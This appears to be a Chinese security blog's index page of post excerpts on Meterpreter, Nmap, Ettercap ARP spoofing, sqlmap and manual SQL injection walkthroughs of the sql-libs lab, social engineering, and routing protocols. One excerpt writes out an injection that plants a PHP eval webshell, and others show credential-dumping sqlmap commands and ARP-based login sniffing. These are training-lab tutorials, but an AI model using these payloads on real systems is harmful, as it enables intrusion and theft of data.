Meterpreter相关介绍
一. Meterpreter是什么当我们利用MSF生成了一个木马，并且在靶机上运行后，我们的MSF会进入如下的一个界面 我们进入一个meterpreter的命令行。 我们建立了一个木马链接，这在MSF中叫做一个session，第一个建立的连接就是 session 1；如果你又建立了一个连接或者漏洞利用进程，它就是session 2. Meterpreter是Metasploit框架中的一个利器，作为漏洞溢出后的攻击载荷使用。 攻击荷在触发漏洞后会返回-个由我们控制的通道，可用于远程执行命令! Metasploit提供了各个主流平台的Meterpreter版本，包括Windows、Linux，同时支持x86、x64平台，另外，Meterpreter还提供了基于PHP和Java语言的实现。 Meterpreter的工作模式是纯内存的，好处是启动隐藏，很难被杀毒软件监测到。不需要访问目标主机磁盘，所以也没什么入侵的痕迹。 除上述外，Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要了解下。 二. Meterpreter中常用的反弹类型 reverse tcp ...
Nmap扫描基础与进阶
一. 基础功能1. 扫描IP地址12nmap -sn -PE -n 192.168.31.0/24nmap -sn -PE -n 192.168.31.1-255 这俩是一样的。 -sn 参数代表了ping扫描，即主机发现 -PE代表只使用ICMP echo请求探测，不然在虚拟机中会出现全部存活的情况 -n是禁用域名解析，避免浪费时间在域名解析上。 这个的意思是扫描 192.168.31.0 这个网段中存活（在线）的设备。 这里第一个 192.168.31.1 是我的网关，其他的是我的无线设备。 2. 扫描端口号基于SYN包扫描 1nmap -sS 192.168.211.184 基于三次握手扫描 1nmap -sT 192.168.211.184 可以看到目标IP中，135，139，445这三个端口处于open状态。 3. 指定端口扫描正常情况下，是不需要扫描所有端口的。我们可以指定端口来进行扫描 12nmap -p 10-200 192.168.31.114 // 扫描192.168.31.114的10到200之间的端口号nmap -p 21,22,25,80,445,3306 ...
Ettercap使用教程(ARP,ICMP,DNS)
一. 软件界面介绍1. 进入软件时的设置在kali中内置了这个工具的图形化界面 我们打开这个工具 我们设置好后点击上面的勾进入即可 2. 主要界面 我们点击搜索主机，然后点击主机列表 当然你也可以右击列表中的主机进行操作 3. 攻击设置界面我们来看一下攻击模式中的内容 二. ARP欺骗与ARP攻击我们先扫主机，得到主机列表，然后将目标网关添加到目标1，目标IP添加到目标2 1. 断网攻击我们打开ARP攻击，停止扫描 我们在被攻击的主机上访问一下外网 可以看到，被攻击方在网络正常的情况下无法访问外网了。 2. 数据窃取(HTTP)我们可以来获取http网站上输入的账号和密码。 打开ARP攻击，打开扫描 我们找到一个http的网站，比如7K7K.com 我登录输入一个随便的账号密码 得到信息。 3. 数据窃取（HTTPS）窃取HTTPS目前已经不太现实，这里仅供参考。 想要获取https的话，我们需要另一个工具sslstrip，它可以把https降成http。 我们还需要启用Ettercap的脚本。 我们通过Vim来进行编辑 1vim /etc/ettercap/etter ...
SQLmap过sql-libs靶场Page-1（1-22）
1. Less-1(1) 查看数据库1sqlmap -u "http://192.168.1.3/sql-libs/Less-1/?id=1" -dbs 得到这几个数据库 (2) 查看数据表比如我们想看security这个数据库下有什么表 1sqlmap -u "http://192.168.1.3/sql-libs/Less-1/?id=1" -D security --tables (3) 查看表中字段我们看users表下的字段内容 1sqlmap -u "http://192.168.1.3/sql-libs/Less-1/?id=1" -D security -T users --columns (4) 查看字段值查看security数据库下的users表里的id、password、username有哪些值 1sqlmap -u http://192.168.1.3/sql-libs/Less-1/?id=1 -D security -T users --columns id,password,username ...
sql-libs靶场Page-3(38-53)教程
请先过page-1和page-2 1. Less-38又是需要写木马 11';select '<?php @eval($_POST[x])?>' into outfile 'D:\\SoftWare\\phpstudy_pro\\WWW\\sql-libs\\Less-38\\test.php'%23 把木马写到目录下，密码是x 然后用蚁剑连上去就行了 成功！ 2. Less-39注入点： 11 and 1=2 order by 获取字段数，然后联合注入一下就行 3. Less-40注入点： 11') and 1=2 ;00 然后order by。联合注入 4. Less-41和39题一样 5. Less-42这个有点像24题啊，但是它只能进行登录，注册和密码都用不了。 我们随便输入一个账号密码登录进去发现会到达一个固定的页面。 我们密码和账号输入，因为我懒得去判断是账号存在还是密码存在 1123456' 发现有报错 说明存在注入。 我们输入 1123456' # 报错没有了 说明这 ...
sql-libs靶场Page-2(21-38)教程
请先过page1 1. Less-21登录进去感觉好像和上一道题一样。 我们抓一下包 哎，这个cookie 加密了一次，这应该是base64加密，我们解一下试试 ![]https://img.trtyr.top/LightPicture/2023/03/SQL-Libs靶场Page-11-22教程64.webp) 我们现在的思路就是，把SQL语句加密一次，然后再传参。 注入方式是单引号括号注入 11') # 我们找字段数 这样得到加密数据 得到显错位，然后就简单了，联合注入就行了。 2. Less-22和上一道一样，单引号变双引号就行了。 3. Less-23这道题我们正常的注入后发现不太对劲 首先是只有单引号，单引号加注释这两种情况才有报错，所以单引号应该是没有问题的，有问题的是注释。 我们试了一下常规的注释 -- 和 # 这两个都不行，尝试一下特殊的注释 %00 成功。 接下来就正常了 联合注入就能搞。 4. Less-24这道题的目的是，已知用户账号，但是不知道密码的情况下，修改目标密码并修改。 现在我们修改Dumb用户。 我们点击注册新账号 进到一个界面 ...
sql-libs靶场Page-1(1-22)教程
1. Less-1我们先进入靶场，根据提示构造一下id，然后正式开始渗透 我们先用数字型找一下注入点 1 and 1=2 这里数据返回正常，但是我们的这个代码应该是返回错误的数据，说明构造的不对，再用字符串型找一下 1' and 1=1 -- 看到这儿之后就简单了，就是个简单的字符型注入，之后就是常规操作了。 先拿脚本order by一下，脚本就是个简单的爬虫，利用了order by的特性。当然你要想一个一个试也行 1' order by 3 -- 跑出来字段数是3 然后再联合注入一下，我们构造一下url 得到URL 我们直接访问这个URL，然后看一下这个url的效果 可以看到，第二个和第三个字段是显示的。 然后就是正常的替换了，把我们要显示的内容替换到2或者3的位置上。 1-1' union select 1,database(),3 -- 上面的代码就是说让数据库名称显示在2的位置上。 注意这里是-1，如果是1的话，会显示原来网页上的内容。 这样为我们就得到了表和字段，接下来查看字段数据就行了，这个就简单了。 1-1' unio ...
SQL注入介绍与靶场实战
在实战部分需要有一定的python爬虫基础 如果有看不懂的请在下方留言 一. 数据库相关知识简介1. 什么是数据库数据库就是将大量数据把保存起来，通过计算机加工而成的可以高效访问的数据集 2. 常见的数据库Oracle：甲骨文公司 SQL Servers：微软公司 DB2：IBM 公司 PostgreSQL：开源 MySQL：开源 Access：微软公司（老古董） 我们把调用这些数据库的语句，统一叫做SQL语句 尽管数据库的种类繁多，但这些数据库的SQL语句是相通的。同一条SQL语句可以在不同的数据库上执行，得到相同的效果 不过不同的数据库他是会有一些自己独有的特性，不过很少。 3. 数据库结构我们用 SQL - Font 工具对数据库进行可视化分析 这就是这样 (1) 左面那些东西我们先看看左面那些图标都是些什么牛马 我们先来看这个 这个代表当前的服务器，所有的数据库都在服务器下 这几个是在服务器下的所有数据库 一个服务器下可以有多个网站，一个网站有一个数据库 这里注意有两个特殊的库，就是那个图标和其他数据库不一样的那两个 这两个数据库是MySQL自带的数据库，之后会讲到。 ...
社会工程学攻击类型
无论你的密码或安全设置有多强，黑客和攻击者都知道他们总是可以利用一个漏洞：你。 社会工程攻击利用“人为漏洞”来绕过网络安全障碍。他们不是入侵你的帐户来窃取你的身份，而是通过使用网络钓鱼攻击、冒名顶替欺诈和其他骗局来入侵你。 一. 什么是社会工程攻击？社会工程是“人为黑客”进行欺诈和身份盗用的行为。 黑客使用欺骗性的心理操纵来灌输恐惧、兴奋或紧迫感。一旦你处于高度情绪化的状态，他们就会用它来对付你，以掩盖你更好的判断力。 只需要一个人为错误就可以成为社会工程攻击的受害者。这个漏洞是犯罪分子更频繁地使用社会工程技术的原因。 二. 社会工程攻击如何工作？社会工程攻击相对简单。黑客需要做的就是说服一个消息不灵通、压力大或信任的人按照他们所说的去做。 这些攻击非常容易实现，并且它们都遵循类似的模式。 社会工程攻击的四个阶段是： 发现和调查 欺骗和钓鱼 攻击 撤退 1. 发现和调查攻击者首先要确定他们正在寻找的目标所拥有的漏洞。这通常包括凭据、数据、未经授权的访问、金钱、机密信息等。 然后他们在网上寻找潜在的受害者。例如，他们会查看你的在线足迹，查看你的工作地点，记下你在社交媒体上分享的内容等 ...
论如何通过不同方式收集信息
阅读前请注意，这篇文章只是我的个人想法，发生了什么与作者无关 看到这个标题，你可能会好奇，这玩意还用教？搜就行了啊…… 如果你有这种想法的话，我放一张前几天群友发的图片 请找到这个软件。 一. 什么是信息什么是信息，这个问题似乎问的挺奇妙的。 下课铃是信息，说话是信息，光线是信息，手机，电脑，美食等等都是信息，那么到底什么是信息？ 我们来想一下，下课了你会知道下课了，说话你会知道对方想表达给你的意图，光太亮了你会遮眼，你会吃美食，玩手机…… 我认为，信息，就是能让你大脑产生活跃的一种东西。 我说的这句话你可能会更蒙了，你会感觉有的时候你没做出什么反应啊，觉得你的脑子也没怎么动。 我举个例子，你现在看向窗外，你可能没觉的怎么样，但是你的大脑会知道现在是上午，中午还是下午；你现在在哪，在家还是在外面，或者具体的一个地方；会知道有没有太阳或月亮，知道你现在的天气，知道你现在的动作是在看向窗外…… 这些你确实没有感觉到，与其说是没有感觉到，不如说是你没想。 我们这里就又发现了一个事情，你想的，你感受到的，你大脑处理的，这些东西不是一码事，大脑处理的东西会影响你的潜意识。 潜意识又会影响你想的 ...
动态路由协议RIP
一. 动态路由1. 简单了解我们知道，路由分静态路由和动态路由。 平常来说，静态路由用的比较多，但是在大型网络中，还是得用动态路由，不然一个一个跳得累死你，一直跳到你绝望为止。 静态路由是单向的，需要管理员手动配置；动态路由是在路由器上启用某动态路由协议。 不同的动态路由协议是不一样的，启用了动态路由协议后，进行自己直连的网段的宣告，从而相邻的路由器就可以学习到相邻的路由器所宣告的网段。 举个例子，张三认识李四，李四认识王五，那么张三就可以通过李四认识王五。 比如是这样的一个网络。R1连着10网段和20网段，然后它把这两个网段宣告给与自己直连的路由器，即R2。 这时候R2就学习到了10网段和20网段，同时R2自己还连着30网段，所以它现在就会10，20，30三个网段了。然后再宣告给自己直连的路由器，即R1和R3。 R1和R3就学习到了10，20，30这三个网段。R3同时连着40网段，它现在就会了10，20，30，40四个网段。然后再宣告给R2，R2就会了，R2再宣告给给R1和R3，R1也会。 这样所有的路由器学会了所有的网段。 2. 常见的动态路由 RIP：路由信息协议（距离矢量路由 ...
热备份路由选择协议HSRP
一. 冗余和负载1. 冗余冗余就是备份 我们看一下这个图： 这两个主机想要访问外网，默认路线是走二层SW，R1然后到外网，如果R1坏了，就会启用R2。这就是冗余，这是一个自动的过程 我们本篇文章讲的就是冗余。 2. 负载负载就是分摊工作 还是上面那个图，刚才是主机1和主机2同时经过一个路由器，我们现在这样，主机1走R1，主机2走R2，这样每一台路由器都分摊了一部分工作。 这就是负载 二. HSRP概念 我们知道，主机向外通信的时候，一点有IP地址，子网掩码和网关，网关就是和主机直连的路由器，那么现在这张图，主机1的网关是哪个？ 如果是R1的话，那么R1的IP地址就是主机1的网关。那如果R1坏了的话，根据冗余，我们的流量就会从R2走，那意味着，主机1的网关还要重新配置成R2的IP，非常不灵活，我们想要的是让它自动切换。 HSRP是在两个路由器中间加了一个虚拟路由器的概念， 我们讲主机的网关配置未虚拟路由器R3的IP。 R1和R2有两种状态，活跃和非活跃。好的就是活跃，坏了就是非活跃。 当R1和R2都是活跃的时候，用默认的，会把数据转发给R1。当R1坏了，状态变为非活跃，R2是活跃，R ...